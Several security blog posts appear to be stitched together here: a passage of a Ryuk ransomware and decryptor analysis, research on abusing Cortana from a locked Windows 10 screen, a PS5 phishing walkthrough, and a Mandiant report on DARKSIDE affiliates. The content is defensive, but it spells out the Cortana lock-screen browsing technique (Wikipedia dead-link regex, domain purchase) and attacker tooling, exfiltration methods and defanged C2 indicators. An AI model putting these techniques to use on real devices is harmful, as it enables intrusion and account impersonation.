By searching for relationships between two elements one can gather new evidence.
For instance, by analyzing and reverse engineering a piece of malware one might uncover that a certain server is being used for command and control infrastructure, thus linking capability with infrastructure (as shown below).
Linking Infrastructure and Capability Alternatively, one might search underground forums to find information on adversaries who sell certain pieces of malware, thus linking an adversary with a capability.
For instance, finding the underground forum advertisement of Hermes2.1.
Linking Adversary and Capability Analysis of Competing Hypotheses In our earlier publication we explained The Analysis of Competing Hypotheses (ACH), the process of challenging formed hypotheses with research findings.
By following this method, we concluded that the strongest hypothesis is not the one with the most verifying evidence, but the one with the least falsifying evidence.
In order to construct a hypothesis with the least falsifying evidence we welcome research published by our industry peers to dissimilate insights that challenge our hypotheses.
When we combined all the evidence with links on the diamond model, we discovered that one essential link wasn’t made, the link between adversary and victim.
Seeking New Insights Between Adversary and Victim Despite published research, the direct link between adversary and victim remained relatively unexplored.
Unlike most cybercrime, ransomware and digital extortion frequently creates a strong social connection between adversary and victim.
The adversary has certain needs and views the victim as the means to fulfill those needs.
The connection between an adversary and victim often generates valuable insights, especially in cases where (extensive) negotiation take place.
Luckily, one of our NoMoreRansom partners, Coveware, is specialized in ransomware negotiations and has gained valuable insights help us link adversary and victim.
The social connection between Adversary and Victim Ransom Amounts and Negotiations By aggregating ransomware negotiation and payment data, Coveware is able to identify strain-specific ransomware trends.
With regards to Ryuk, it should be noted that ransom amounts average more than 10x the average, making it the costliest type of ransomware.
Coveware also observed that some Ryuk ransoms were highly negotiable, while others were not.
The bar-belled negotiation results generated an average ransom payment of $71k, a 60% discount from an average opening ask of $145k.
The bar-belled negotiation outcomes meant that some victims were stonewalled.
These victims either lost their data or took on staggering financial risk to pay the ransom.
The outcomes also imply that in certain cases the adversary would rather receive infrequent large windfalls (often in excess of 100BTC), while in other cases the adversary was keen to monetize every attack and accept lower amounts to ensure payment.
This difference in modus operandi suggests that more than one cyber-criminal group is operating Ryuk ransomware.
Ransom Note and Negotiation Similarities and Differences Similarities between Bitpaymer and Ryuk ransom notes have been observed before.
While it is not uncommon for ransom notes to share similar language, sequences of phrases tend to remain within the same ransomware family.
Slight copy+paste modifications are made to the ransom text as a variant is passed along to different groups, but large alterations are rarely made.
Below is a comparison of a Bitpaymer initial email (left) and a standard Ryuk initial email (right).
A comparison of a Bitpaymer initial email (left) and a standard Ryuk initial email (right)
The shared language implies that text once unique to a Bitpaymer campaign was borrowed for a Ryuk campaign, possibly by an operator running simultaneous ransom campaigns of both Bitpaymer and Ryuk or the imitation can be considered as the sincerest form of flattery.
Different Initial Email Response May Be Different Adversaries?
A more dramatic scripted communication difference has been observed in the initial email response from Ryuk adversaries.
The initial email response is typically identical within ransomware families belonging to the same campaign.
When significant differences in length, language, and initial ransom amount appear in the initial email response we are comfortable assuming they belong to unique groups with unique modus operandi.
This would mean that Ryuk in being spread by more than one actor group.
Below are two such Ryuk examples: Post Payment Bitcoin Activity A final indicator that multiple groups are running simultaneous Ryuk campaigns can be observed in the activity of bitcoin after it hits a ransom address.
Surprisingly, despite the differences between negotiation outcome and initial communications, Coveware observed little difference between the BTC wallets (blacked out to protect victims) associated with the above cases.
Initial comparison showed no meaningful discrepancy in difference between the time of a ransom payment and the time of a corresponding withdraw.
Additionally, the distribution of funds upon withdrawal was consistently split between two addresses.
Coveware will continue to monitor the funds associated with campaigns for meaningful indicators.
Ryuk Negotiating Profiles With few exceptions, the rest of the email replies during a Ryuk extortion negotiation are extremely short and blunt.
Typical replies and retorts are generally less than 10 written words and often just a single number if the ransom amount is the point of discussion.
This correspondence is unique to Ryuk.
One reply did contain quite a remarkable expression; “ à la guerre comme à la guerre,” to contextualize the methods and reasons for the cyber criminals’ attacks on western companies.
The French expression originates from the seventeenth century and literally translates to “in war as in war” and loosely translates to: “In Harsh times one has to do with what’s available”.
The striking thing about this expression is that is prominently featured in volume 30 of the collected works of the Soviet Revolutionary leader Vladimir Lenin .
Lenin uses the expression to describe the struggle of his people during the war against western capitalism.
This concept of “The capitalistic West versus the Poor east” is actually something McAfee ATR sees quite often expressed by cyber criminals from some of the Post-Soviet republics.
This expression may be a clear indicator of the origin and cultural view of the criminals behind Ryuk.
Ryuk poses existential risk to certain industries Even though the average ransom discounts of Ryuk are large (~60%), the absolute level of the ransom is extreme.
Accordingly, we have seen evidence that links ransom demands to the size of the network footprint of the victim company.
However, this doesn’t mean that the ransom demand correlates to the victims actual operational and financial size.
Companies in the IT Hosting and the Freight and Logistics industries have been particularly susceptible to this discrepancy.
Coveware has assisted at least 3 companies that have had to unwind their business when an affordable ransom amount, could not be reached.
Typically, downtime costs are 10x the ransom amount, but in these industries downtime costs can be particularly extreme.
IT Hosting companies are of note as the size and number of their servers can make them appear like a large organization.
Unfortunately, the business of hosting involves high fixed costs, low operating margins, and zero tolerance of downtime by end clients.
Hosting companies that get attacked typically have a few hours to restore service before their clients drop them for alternatives.
Moreover, these companies suffer irreparable harm to their reputations, and may trigger SLA breaches that leave them exposed to liability.
The inability to pay a six-figure ransom has caused multiple hosting companies to shut down.
Freight and Logistics firms are also acutely exposed.
These firms also present like larger firms given the volume of data they move and their network footprint.
Additionally, attacks against Freight and Logistics firms can cause immediate supply chain issues for the victims’ end clients, who are subsequently forced to route through other service providers.
Similar to IT Hosting, Freight and Logistics firms have low operating margins and end clients with little tolerance for service interruptions.
The inability to pay or negotiate a large ransom has materially impacted several firms in this industry.
Ryuk Decryptor findings and issues When victims do pay the exorbitant ransom amount, the criminals will provide a decryptor to unlock a their files.
This decryptor is actually framework that needs to be loaded with a victim’s private RSA key, provided by the criminals, in order to decrypt.
Ensuring that the provided decryptor will only work for this specific victim.
This setup allows the criminals to quickly load a victim’s key in the framework and offer a custom decryptor with minimal code change while the underlaying framework remains the same.
From Coveware’s experience we have learned that the decryption process is quite cumbersome and full of possible fatal errors.
Luckily Coveware was able to share the Ryuk decryptor with McAfee ATR in order to take a closer look at the issues and level of sophistication of the decryptor.
Once launched the first thing the decryptor does is to search the HKEY_CURRENT_USER Hive for a value pair named “svchos” in the path “SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run” and delete the specific entry.
This removes the persistence of the malware.
Afterwards it will reboot the system and remove any remaining Ryuk malware still receding on the system.
Deleting the “svchos” value from the registry.
Once rebooted the user needs to run the tool again and the decryptor will provide two options to decrypt.
Decryption per file Automatic decryption The main interface of the Ryuk decryptor with the different menu options.
HERMES File Marker During the decryption process we have found that the decryptor searches for the known file marker string HERMES which is located in the encrypted file.
The HERMES marker clearly visible within the file The fact that Ryuk ransomware adds HERMES filemarker string was already known, but discovering this specific check routine in the decryptor strengthens the hypotheses that Ryuk is a slightly modified version of Hermes2.1 ransomware kit that is sold online even more.
Decryptor Issues While examining the decryptor we were astonished by the lack of sophistication and the amount of errors that resided within the code.
Some of the most prominent issues were: If there is a space in the Windows file path the decryptor will fail the decryption process.
If there is a quotation mark (“) in the file path the decryptor will report an error that it cannot find the specific file.
The decryptor uses the “GetVersionExW” function to determine the windows version, from Windows 8.1.
the value returned by this API has changed and the decryptor isn’t designed to handle this value.
The decryptor doesn’t remove the .RYUK extension and replace it with the original extension.
So, there is no way the name of the file can give an indication towards the type of the file, something that can be extremely labor intensive for enterprise victims.
When choosing the manual option in the decryptor, the user has to supply a path of the specific file or choose “0” to finish.
However, choosing a “0” will put the decryptor into an infinite loop.
Looking at the decryptor, it is very worrisome to see that the criminals behind Ryuk can get away with such bad programming.
It shows a clear lack of empathy towards their victims and the absence of solid coding skills.
Victims who do pay the exorbitant ransom demand are far from in the clear.
The decryptor offered by the criminals has a very high risk of malfunctioning, resulting in permanent damage to their precious files.
Victims should always make an exact copy of the encrypted hard disk before trying to use the decryptor.
Call to action in piecing the different parts together By combining all the fresh insights with the information that was already discovered by ourselves and industry peers we can start defining our leading hypotheses around Ryuk.
Based on this hypothesis, we will actively look for falsifying evidence.
We encourage the security community to participate in this process.
We realize that only by collaboration can we piece the different parts of the Ryuk puzzle together.
By now it should be without question that involvement of the DPRK is the least likely hypothesis.
Our leading Hypothesis on Ryuk until proven otherwise is; Ryuk is a direct descendant from Hermes2.1 with slight modifications, based on the code overlap in the ransomware as well as the decryptor.
Ryuk is not designed to be used in a largescale corporate environment, based on all the scalability issues in the decryptor.
At this moment there are several actors or actor-groups spreading Ryuk, based on the extortion modus operandi and different communications with the victims.
The actors or actor-groups behind Ryuk have a relationship with one of the Post-Soviet republics, based on the Russian found in one of the encrypted files and the cultural references observed in the negotiations.
The actors behind Ryuk most likely have an affiliation or relationship with the actors behind Trickbot and, based on their TTP, are better skilled at exploitation and lateral movement than pure Ransomware development.
Conclusion In the last seven months Ryuk has proven to be a highly profitable form of ransomware, despite the poor programming behind it and its decryptor.
The criminals have proven to be ruthless and several of their victims were forced to wind down their businesses after they were unable to afford the exorbitant ransom.
When a company does give in to the high demands it is extra painful to see a situation occur where they are permanently unable to recover their files due to the faulty decryptor.
A solid data loss prevention strategy still remains the best advice against all forms of ransomware, for general prevention advice please visit NoMoreRansom .
Always seek professional assistance when you are faced with a targeted ransomware attack such as Ryuk.
By Cedric Cochin and Steve Povolny on Aug 14, 2018 A locked Windows 10 device with Cortana enabled on the lock screen allows an attacker with physical access to the device to do two kinds of unauthorized browsing.
In the first case, the attacker can force Microsoft Edge to navigate to an attacker-controlled URL; in the second, the attacker can use a limited version of Internet Explorer 11 using the saved credentials of the victim.
In June we published our analysis of a full login bypass mechanism for all Windows 10 devices for which Cortana is enabled on the lock screen.
(This is still the default option.)
The discovery of the full login bypass was part of a wider research effort into what access the digital assistant Cortana might offer to an adversary when the device is locked.
This post details these two additional issues; we reported them to Microsoft at the same time we reported the login bypass.
The two new flaws have now been addressed as part of Microsoft’s August update.
Some of the issues are also partially mitigated by modifying the answer obtained from a Bing search query.
In the first scenario, a Cortana privilege escalation leads to forced navigation on a lock screen.
The vulnerability does not allow an attacker to unlock the device, but it does allow someone with physical access to force Edge to navigate to a page of the attacker’s choosing while the device is still locked.
This is not a case of BadUSB, man in the middle, or rogue Wi-Fi, just simple voice commands and interacting with the device’s touchscreen or mouse.
Several months ago, researchers from Israel demonstrated a similar attack using a BadUSB device, masquerading as a network interface card to inject content into trusted HTTP sites while using Cortana to force navigation.
Microsoft has since removed this ability to navigate directly to a domain and instead now opens a search in Bing over HTTPS to the domain in question.
Some of our findings could also be combined with a BadUSB approach.
We explored whether one could still force navigation to an attacker-controlled page.
In short, yes, one can, but it does take some extra effort.
Cortana is very helpful when it comes to defining terms, or looking up corporations, movies, artists, or athletes.
She can even do math.
However, Cortana’s behavior and the answers she gives are affected by the way you ask a question.
For example, if you were to ask the colloquial question “ Hey Cortana, what is McAfee?
”
you would get a quick answer directly from a Bing search.
If, however, you asked only “ Hey Cortana, McAfee, ” you would receive a more detailed response, including links to various trusted sites.
These include Wikipedia, Twitter, Facebook, LinkedIn, and the “official website” (more later on this important link).
Cortana’s answers to similar but not identical queries about “McAfee.”
It is surprising that links are offered and clickable when the device is locked.
If you start your favorite network sniffer or man-in-the-middle proxy, you will see that the links are visited as soon as the user clicks on them, irrespective of the device’s locked status.
This means we can force navigation to a website (though not yet the one we want) when the device is locked.
However, we have seen that Cortana can be picky in how she offers results.
Bing must already know these results, and most links are known trusted sites.
That leaves us with the official website.
You might recognize this terminology: It is a common link presented by Wikipedia.
If you look at the bottom of a Wikipedia article, you will often find a link to an official website.
Could Cortana just use Wikipedia as a trusted source?
After a few delightful conversations with her, we can confirm that the official website for items she refers from Wikipedia is indeed the same as the Official Website link on Wikipedia.
There is no one-to-one correlation on Wikipedia’s official website for Cortana to display the corresponding link.
We assume there is some possible weighting of the domain name or logic in the Bing output that influences Cortana’s displayed links.
We can leverage this information to craft a fake Wikipedia entry, add enough content to get the review to succeed, add an official website link, and see what Cortana presents.
Wikipedia reviewers do a pretty good job of vetting content, but we also need Bing to become aware of the entry so that Cortana could offer the answer and the link.
Because of the time-dependent factor of the approach (and the ethical aspect of tampering with Wikipedia content in a malicious way), we decided to take a different path—although others could use this attack vector.
Instead of creating an entry in Wikipedia, making sure that Bing indexes it and that Cortana provides the official website link, we opted for an alternative.
We can instead hunt Wikipedia for unmaintained or dead official website links.
Fortunately for us, Wikipedia maintains a list of “dead links” and “permanent dead links.”
A search for “Xbox Linux” looks like this: To aid in our hunt, Wikipedia has a fairly robust search engine that accepts regular expressions.
With just a little bit of tinkering we come up with the following search: insource:/\\{official (website)?\\|https?\\:\\/\\/[^}]+\\.com\\/[^}]\\}\\}\\{\\{dead link/ This is neither an exhaustive list, nor the most efficient regular expression, but it does find some candidates without triggering the Wikipedia query timeout.
The next step is to write a script to parse the output, grab a list of domains, and check whether they are actually vacant.
Many of them are still registered but do not serve any content; others are live despite the “dead link” tag.
We end up with a list of domains, some more expensive than others, that are vacant.
What will Cortana display for each of these Wikipedia entries?
One after another, we ask.
Retrospectively, writing a text-to-speech script would have been faster.
Cortana answers surprisingly well to other digital speech synthesizers.
Many of the entries do not provide the official website link, but some do.
It is annoying that the way you ask the question interferes with the results.
Not only is the phrasing of the question important; the decision of whether to dictate a word or spell it out may change the answer.
To obtain the answer you want from Cortana, you may have to combine both approaches.
For example, we asked “Hey Cortana, what is Miss Aruba?”
We saw, while the device was locked, the following answer: The official website link points to “hxxp://www.missaruba.aw.”
A quick search shows the domain is still available.
In conclusion, we now have Wikipedia articles for which Cortana will display an official website link, and for which the domain is available for purchase.
After spending $11.99 for a cheaper domain, we own one.
Although it took some regular-expression authoring, some scripting, and buying a domain, this method was faster and more satisfying than waiting for Bing to publish and index a new Wikipedia entry.
After this setup, what can we accomplish?
We can ask Cortana (either via the interactive icon or vocal command “Hey Cortana”) to conduct a search while the device is locked.
When she replies, we can click on the official website link and observe as Edge retrieves the content while the device remains locked.
To put a malicious spin on this unauthorized access, we have at least one straightforward option.
We could install the latest exploit kit on our newly acquired domain and infect any locked Windows 10 PC with Cortana enabled without ever logging in.
This attack could occur at a coffee shop, retailer, bank, or against targeted individuals.
This configuration is the default on Windows, and our research has shown that many users never disable Cortana from the lock screen.
Digital voice assistants can be useful, but they must also be considered an attack vector.
Although some may think this is a “noisy” vector, not applicable when stealth is required, you can employ techniques such as the DolphinAttack, which uses inaudible voice commands to close an air gap.
Or if you have physical access to the device, a $5 3.5mm-jack cable will do as well.
An inexpensive 3.5mm-jack cable for silent interaction.
How can we protect against this attack vector?
You can disable Cortana on your lock screen.
Microsoft should not allow navigation to untrusted websites until it receives permission from the authenticated user, confirming on login that the user wants to visit a site.
Self-service Internet Explorer from the Windows lock screen When we investigate a technology, we sometimes find that our initial findings are less substantial than what we learn after further investigation.
Our research into Cortana and this attack surface was no different.
What if one could surf the web freely with a full-fledged browser such as Internet Explorer 11, with access to cached credentials and autocomplete on a locked Windows 10 device?
All thanks to Cortana?
That could be much more impactful than browsing to just one URL.
That is possible with Cortana’s skills.
It makes sense that Cortana offers skills similar to those of Amazon’s Alexa or Google Assistant.
But it does not make sense to offer these skills directly from the lock screen when they are not yet configured.
One example is the “Real Estate Search” skill.
While conversing with Cortana to analyze the capabilities she could offer an attacker, we found that she occasionally offered to try skills, including Real Estate Search.
One easy trigger is to ask “Hey Cortana, I want to sell my house.”
This leads to the following screen: If we click “Real Estate Search,” we get a login screen.
Instead of logging in, let’s look at the other links offered by the interface.
In the current case, the “Privacy Policy” link seems interesting: Cortana’s skill login screen with a link to Privacy Policy.
Opening the link, we see a lengthy policy.
If we scroll to the bottom of the page, we discover a few social media icons: Privacy policy screen with links to social media sites.
These icons are indeed links, allowing us to reach Facebook or YouTube, and from there the rest of the Internet: Reaching Facebook from the lock screen of a Windows 10 system.
Let’s summarize.
You left for lunch with your new Windows Surface Book locked on your desk.
Cortana is on by default on your lock screen.
Your disk is encrypted.
What could go wrong?
Anybody who has physical access to your locked device can start browsing the web.
What if someone were to navigate to a work-unfriendly website from your device, or post inflammatory comments in a public forum that could be attributed to your device’s IP address?
A device-specific attribution would be bad, but could you use the same method to post or access something from a real person’s name or account?
We next investigated which browser is being used?
Is it a Cortana custom browser?
Is it a sandboxed Microsoft Edge?
It is actually a customized Internet Explorer 11 restricted engine running in the context of AuthHost.exe.
(We will publish another analysis on this limited “browser” because its properties and lack of security mechanisms could become handy for red teams.)
This is the Internet Explorer engine and not the full browser, though both JavaScript and cookies are enabled.
Worse, this incarnation shares the autocomplete and credentials saved in the context of the current user’s Internet Explorer session.
Thus in addition to posting a comment on a public forum from another user’s device while the device is locked, you can also impersonate the user thanks to its cached credentials.
One potential attack scenario arises if a corporation offers a mechanism to reset Windows credentials via a web server but does not require users to reenter the old password.
One could simply navigate to the reset link, input a new password, exit the limited navigator, and unlock the device with the newly set password, all from a locked computer.
We have explored a couple of attack scenarios and security issues in this post, and we will continue our investigation into Cortana and other digital assistants as an attack vector.
Your best mitigation at this point is to turn off Cortana on the lock screen.
Here is a good tutorial on how to do so.
The PlayStation 5 console went on sale last November, but many hopeful shoppers are still empty-handed.
Sony, suffering a chip shortage as a result of COVID-associated supply restrictions, cannot keep pace with demand.
Meanwhile, scammers are moving in to take advantage of the hype by offering the chance to win a PS5.
Win a PS5 from a pharmaceutical company As with most phishing, a careful look reveals trouble.
For example, although the scam e-mails in this campaign contain no glaring errors, the sender’s name — India Pharma in this case, an actual organization — is not affiliated with any gaming giveaways.
Phishing e-mail offering the chance to win a PlayStation 5.
It is not clear who is behind this display of wondrous generosity What’s also suspicious is that the terms and conditions (the very small print at the bottom of the message that most people don’t read) mention an entirely different company: toleadoo GmbH.
It too exists.
It’s based in Germany and is the subject of numerous user complaints .
The small print also mentions certain “competition T&Cs,” but there is no link to them.
Again, we’re looking for suspicious elements, and inconsistencies in legal language are very suspicious.
In any case, to try your luck, the organizers ask you to register your e-mail address.
The scammers just need your e-mail address to get started The next step opens a website bearing the Amazon logo, although with a URL that looks nothing like amazon.com.
The page ramps up the phishing pressure, saying you’re one of ten lucky visitors who can win the coveted console this week, but you have to act in the next minute and 18 seconds — just enough time to complete the short survey and enter the drawing.
This, of course, is another example of a pretty effective phishing tactic: Ramp up the pressure with an artificial time constraint and people will panic and rush instead of slowing down to apply critical thinking.
The clock is ticking!
Wheel of Fortune If you complete the survey and check the rest of the boxes, a dozen identical gift boxes appear on the screen, one of which is the winner.
Spoiler alert: You win the prize!
Can’t believe your good luck?
Well, below are fake reviews from past “winners” to stoke your excitement and keep your vigilance nice and low.
Positive reviews promote the scam Now comes the catch.
A payment of £1 (one pound sterling — around $1.40 at the time of writing) is required to claim the prize.
The organizers give no reason for the payment — but in comparison with the price of the console, it’s peanuts.
In addition, they promise to cover all postage costs and deliver the shiny PS5 in just one week.
You won!
Now pay Next comes a request for address, ZIP code, phone number, and (again) e-mail, most of which makes perfect sense in the context of arranging prize delivery.
However, at this point, the required payment jumps from £1 to £1.78; again, with no explanation.
The payment magically increases from £1 to £1.78 The last step is to provide your banking details.
The princely sum of £1.78 won’t make the cybercriminals rich, but your card details — in particular the CVV2/CVC2 code — might.
One last step to giving the scammers your money Keep a cool head To avoid such pitfalls, don’t believe the hype.
If you receive a tempting offer, keep your head, and always follow these simple guidelines to help guard against phishing: Check information about giveaways and other promos on the organizer’s website; Do not follow links in e-mails.
Instead, enter the URL manually if you know it, or use a search engine to get there (after making sure the link is not an ad); Be very wary if getting a prize requires paying a fee, even if the amount is small.
You risk losing more than just the amount requested ; Guard your personal data carefully, and if you have any doubts about a website, do not enter your contact details on it; Use a reliable security solution that warns you when you are about to visit a fraudulent website.
Update (May 14):
Mandiant has observed multiple actors cite a May 13 announcement that appeared to be shared with DARKSIDE RaaS affiliates by the operators of the service.
This announcement stated that they lost access to their infrastructure, including their blog, payment, and CDN servers, and would be closing their service.
Decrypters would also be provided for companies who have not paid, possibly to their affiliates to distribute.
The post cited law enforcement pressure and pressure from the United States for this decision.
We have not independently validated these claims and there is some speculation by other actors that this could be an exit scam.
Background Since initially surfacing in August 2020, the creators of DARKSIDE ransomware and their affiliates have launched a global crime spree affecting organizations in more than 15 countries and multiple industry verticals.
Like many of their peers, these actors conduct multifaceted extortion where data is both exfiltrated and encrypted in place, allowing them to demand payment for unlocking and the non-release of stolen data to exert more pressure on victims.
The origins of these incidents are not monolithic.
DARKSIDE ransomware operates as a ransomware-as-a-service (RaaS) wherein profit is shared between its owners and partners, or affiliates, who provide access to organizations and deploy the ransomware.
Mandiant currently tracks multiple threat clusters that have deployed this ransomware, which is consistent with multiple affiliates using DARKSIDE.
These clusters demonstrated varying levels of technical sophistication throughout intrusions.
While the threat actors commonly relied on commercially available and legitimate tools to facilitate various stages of their operations, at least one of the threat clusters also employed a now patched zero-day vulnerability.
Reporting on DARKSIDE has been available in advance of this blog post to users of Mandiant Advantage Free , a no-cost version of our threat intelligence platform.
Targeting Mandiant has identified multiple DARKSIDE victims through our incident response engagements and from reports on the DARKSIDE blog.
Most of the victim organizations were based in the United States and span across multiple sectors, including financial services, legal, manufacturing, professional services, retail, and technology.
The number of publicly named victims on the DARKSIDE blog has increased overall since August 2020, with the exception of a significant dip in the number of victims named during January 2021 (Figure 1).
It is plausible that the decline in January was due to threat actors using DARKSIDE taking a break during the holiday season.
The overall growth in the number of victims demonstrates the increasing use of the DARKSIDE ransomware by multiple affiliates.
Figure 1: Known DARKSIDE victims (August 2020 to April 2021)
DARKSIDE Ransomware Service Beginning in November 2020, the Russian-speaking actor \"darksupp\" advertised DARKSIDE RaaS on the Russian-language forums exploit.in and xss.is.
In April 2021, darksupp posted an update for the \"Darkside 2.0\" RaaS that included several new features and a description of the types of partners and services they were currently seeking (Table 1).
Affiliates retain a percentage of the ransom fee from each victim.
Based on forum advertisements, the RaaS operators take 25% for ransom fees less than $500,000, but this decreases to 10 percent for ransom fees greater than $5 million.
In addition to providing builds of DARKSIDE ransomware, the operators of this service also maintain a blog accessible via TOR.
The actors use this site to publicize victims in an attempt to pressure these organizations into paying for the non-release of stolen data.
A recent update to their underground forum advertisement also indicates that actors may attempt to DDoS victim organizations.
The actor darksupp has stated that affiliates are prohibited from targeting hospitals, schools, universities, non-profit organizations, and public sector entities.
This may be an effort by the actor(s) to deter law enforcement action, since targeting of these sectors may invite additional scrutiny.
Affiliates are also prohibited from targeting organizations in Commonwealth of Independent States (CIS) nations.
Advertisement Date/Version Feature/Update Related Reporting Nov. 10, 2020 (V1)
Ability to generate builds for both Windows and Linux environments from within the administration panel.
20-00023273 Encrypts files using Salsa20 encryption along with an RSA-1024 public key Access to an administrative panel via TOR that can be used by clients to manage Darkside builds, payments, blog posts, and communication with victims The admin panel includes a Blog section that allows clients to publish victim information and announcements to the Darkside website for the purposes of shaming victims and coercing them to pay ransom demands April 14, 2021 (V2.0)
Automated test decryption.
The process from encryption to withdrawal of money is automated and no longer relies on support.
21-00008435
Available DDoS of targets (Layer 3, Layer 7) Sought a partner to provide network accesses to them and a person or team with pentesting skills Table 1: Notable features and updates listed on DARKSIDE advertisement thread (exploit.in) DARKSIDE Affiliates DARKSIDE
RaaS affiliates are required to pass an interview after which they are provided access to an administration panel (Figure 2).
Within this panel, affiliates can perform various actions such as creating a ransomware build, specifying content for the DARKSIDE blog, managing victims, and contacting support.
Mandiant has identified at least five Russian-speaking actors who may currently, or have previously, been DARKSIDE affiliates.
Relevant advertisements associated with a portion of these threat actors have been aimed at finding either initial access providers or actors capable of deploying ransomware on accesses already obtained.
Some actors claiming to use DARKSIDE have also allegedly partnered with other RaaS affiliate programs, including BABUK and SODINOKIBI (aka REvil).
For more information on these threat actors, please see Mandiant Advantage .
Figure 2: DARKSIDE affiliate panel Attack Lifecycle Mandiant currently tracks five clusters of threat activity that have involved the deployment of DARKSIDE.
For more information on uncategorized threats, refer to our post, \" DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors .\"
These clusters may represent different affiliates of the DARKSIDE RaaS platform.
Throughout observed incidents, the threat actor commonly relied on various publicly available and legitimate tools that are commonly used to facilitate various stages of the attack lifecycle in post-exploitation ransomware attacks (Figure 3).
Additional details on three of these UNC groups are included below.
Figure 3: TTPs seen throughout DARKSIDE ransomware engagements UNC2628 UNC2628 has been active since at least February 2021.
Their intrusions progress relatively quickly with the threat actor typically deploying ransomware in two to three days.
We have some evidence that suggests UNC2628 has partnered with other RaaS including SODINOKIBI (REvil) and NETWALKER.
In multiple cases we have observed suspicious authentication attempts against corporate VPN infrastructure immediately prior to the start of interactive intrusion operations.
The authentication patterns were consistent with a password spraying attack, though available forensic evidence was insufficient to definitively attribute this precursor activity to UNC2628.
In cases where evidence was available, the threat actor appeared to obtain initial access through corporate VPN infrastructure using legitimate credentials.
UNC2628 has interacted with victim environments using various legitimate accounts, but in multiple cases has also created and used a domain account with the username 'spservice'.
Across all known intrusions, UNC2628 has made heavy use of the Cobalt Strike framework and BEACON payloads.
BEACON command and control (C2) infrastructure attributed to this actor has included the following: hxxps://104.193.252[.
]197:443/ hxxps://162.244.81[.
]253:443/ hxxps://185.180.197[.
]86:443/ hxxps://athaliaoriginals[.
]com/ hxxps://lagrom[.
]com:443/font.html hxxps://lagrom[.
]com:443/night.html hxxps://lagrom[.
]com:443/online.html hxxps://lagrom[.
]com:443/send.html hxxps://lagrom[.
]com/find.html?key=id#-
In at least some cases there is evidence to suggest this actor has employed Mimikatz for credential theft and privilege escalation.
The threat actor appeared to have used built-in commands such as ‘net’ and ‘ping’ to perform basic reconnaissance of the internal network, though it is likely that additional reconnaissance was performed via BEACON and not represented in available log sources.
UNC2628 has moved laterally in environments almost exclusively via RDP using legitimate credentials and Cobalt Strike BEACON payloads.
This threat cluster uses both HTTPS BEACON payloads and SMB BEACON, the latter almost exclusively using named pipes beginning with “\\\\.\\pipe\\UIA_PIPE_” Intrusions attributed to this threat cluster have progressed swiftly from intrusion to data theft and ransomware deployment, and have thus not focused heavily on maintaining a persistent foothold in impacted environments.
Despite this, UNC2628 has maintained access via the collection of legitimate credentials, the creation of attacker-controlled domain accounts (spservice), and via the creation of Windows services intended to launch BEACON.
Notably, UNC2628 has repeatedly loaded BEACON with a service named ‘CitrixInit’.
UNC2628 has also employed F-Secure Lab s' Custom Command and Control (C3) framework, deploying relays configured to proxy C2 communications through the Slack API.
Based on this actor's other TTPs they were likely using C3 to obfuscate Cobalt Strike BEACON traffic.
The threat actor has exfiltrated data over SFTP using Rclone to systems in cloud hosting environments.
Rclone is a command line utility to manage files for cloud storage applications.
Notably, the infrastructure used for data exfiltration has been reused across multiple intrusions.
In one case, the data exfiltration occurred on the same day that the intrusion began.
UNC2628 deploys DARKSIDE ransomware encryptors using PsExec to a list of hosts contained in multiple text files.
The threat actor has used the following directories, placing copies of backdoors, ransomware binaries, copies of PsExec, and lists of victim hosts within them.
C:\\run\\ C:\\home\\ C:\\tara\\
C:\\Users\\[username]\\Music\\ C:\\Users\\Public UNC2659 UNC2659 has been active since at least January 2021.
We have observed the threat actor move through the whole attack lifecycle in under 10 days.
UNC2659 is notable given their use of an exploit in the SonicWall SMA100 SSL VPN product, which has since been patched by SonicWall.
The threat actor appeared to download several tools used for various phases of the attack lifecycle directly from those tools’ legitimate public websites.
The threat actor obtained initial access to their victim by exploiting CVE-2021-20016 , an exploit in the SonicWall SMA100 SSL VPN product, which has been patched by SonicWall.
There is some evidence to suggest the threat actor may have used the vulnerability to disable multi-factor authentication options on the SonicWall VPN, although this has not been confirmed.
The threat actor leveraged TeamViewer (TeamViewer_Setup.exe) to establish persistence within the victim environment.
Available evidence suggests that the threat actor downloaded TeamViewer directly from the following URL and also browsed for locations from which they could download the AnyDesk utility.
hxxps://dl.teamviewer[.
]com/download/version_15x/
TeamViewer_Setup.exe The threat actor appeared to download the file rclone.exe directly from rclone[.
]org - hxxps://downloads.rclone[.
]org/v1.54.0/rclone-v1.54.0-windows-amd64.zip.
The threat actors were seen using rclone to exfiltrate hundreds of gigabytes of data over the SMB protocol to the pCloud cloud-based hosting and storage service.
The threat actor deployed the file power_encryptor.exe in a victim environment, encrypting files and creating ransom notes over the SMB protocol.
Mandiant observed the threat actor navigate to ESXi administration interfaces and disable snapshot features prior to the ransomware encryptor deployment, which affected several VM images.
UNC2465 UNC2465 activity dates back to at least April 2019 and is characterized by their use of similar TTPs to distribute the PowerShell-based .NET
backdoor SMOKEDHAM in victim environments.
In one case where DARKSIDE was deployed, there were months-long gaps, with only intermittent activity between the time of initial compromise to ransomware deployment.
In some cases, this could indicate that initial access was provided by a separate actor.
UNC2465 used phishing emails and legitimate services to deliver the SMOKEDHAM backdoor.
SMOKEDHAM is a .NET backdoor that supports keylogging, taking screenshots, and executing arbitrary .NET commands.
During one incident, the threat actor appeared to establish a line of communication with the victim before sending a malicious Google Drive link delivering an archive containing an LNK downloader.
More recent UNC2465 emails have used Dropbox links with a ZIP archive containing malicious LNK files that, when executed, would ultimately lead to SMOKEDHAM being downloaded onto the system.
UNC2465 has used Advanced IP Scanner, BLOODHOUND, and RDP for internal reconnaissance and lateral movement activities within victim environments.
The threat actor has used Mimikatz for credential harvesting to escalate privileges in the victim network.
UNC2465 also uses the publicly available NGROK utility to bypass firewalls and expose remote desktop service ports, like RDP and WinRM, to the open internet.
Mandiant has observed the threat actor using PsExec and cron jobs to deploy the DARKSIDE ransomware.
UNC2465 has called the customer support lines of victims and told them that data was stolen and instructed them to follow the link in the ransom note.
Implications We believe that threat actors have become more proficient at conducting multifaceted extortion operations and that this success has directly contributed to the rapid increase in the number of high-impact ransomware incidents over the past few years.
Ransomware operators have incorporated additional extortion tactics designed to increase the likelihood that victims will acquiesce to paying the ransom prices.
As one example, in late April 2021, the DARKSIDE operators released a press release stating that they were targeting organizations listed on the NASDAQ and other stock markets.
They indicated that they would be willing to give stock traders information about upcoming leaks in order to allow them potential profits due to stock price drops after an announced breach.
In another notable example, an attacker was able to obtain the victim's cyber insurance policy and leveraged this information during the ransom negotiation process refusing to lower the ransom amount given their knowledge of the policy limits.
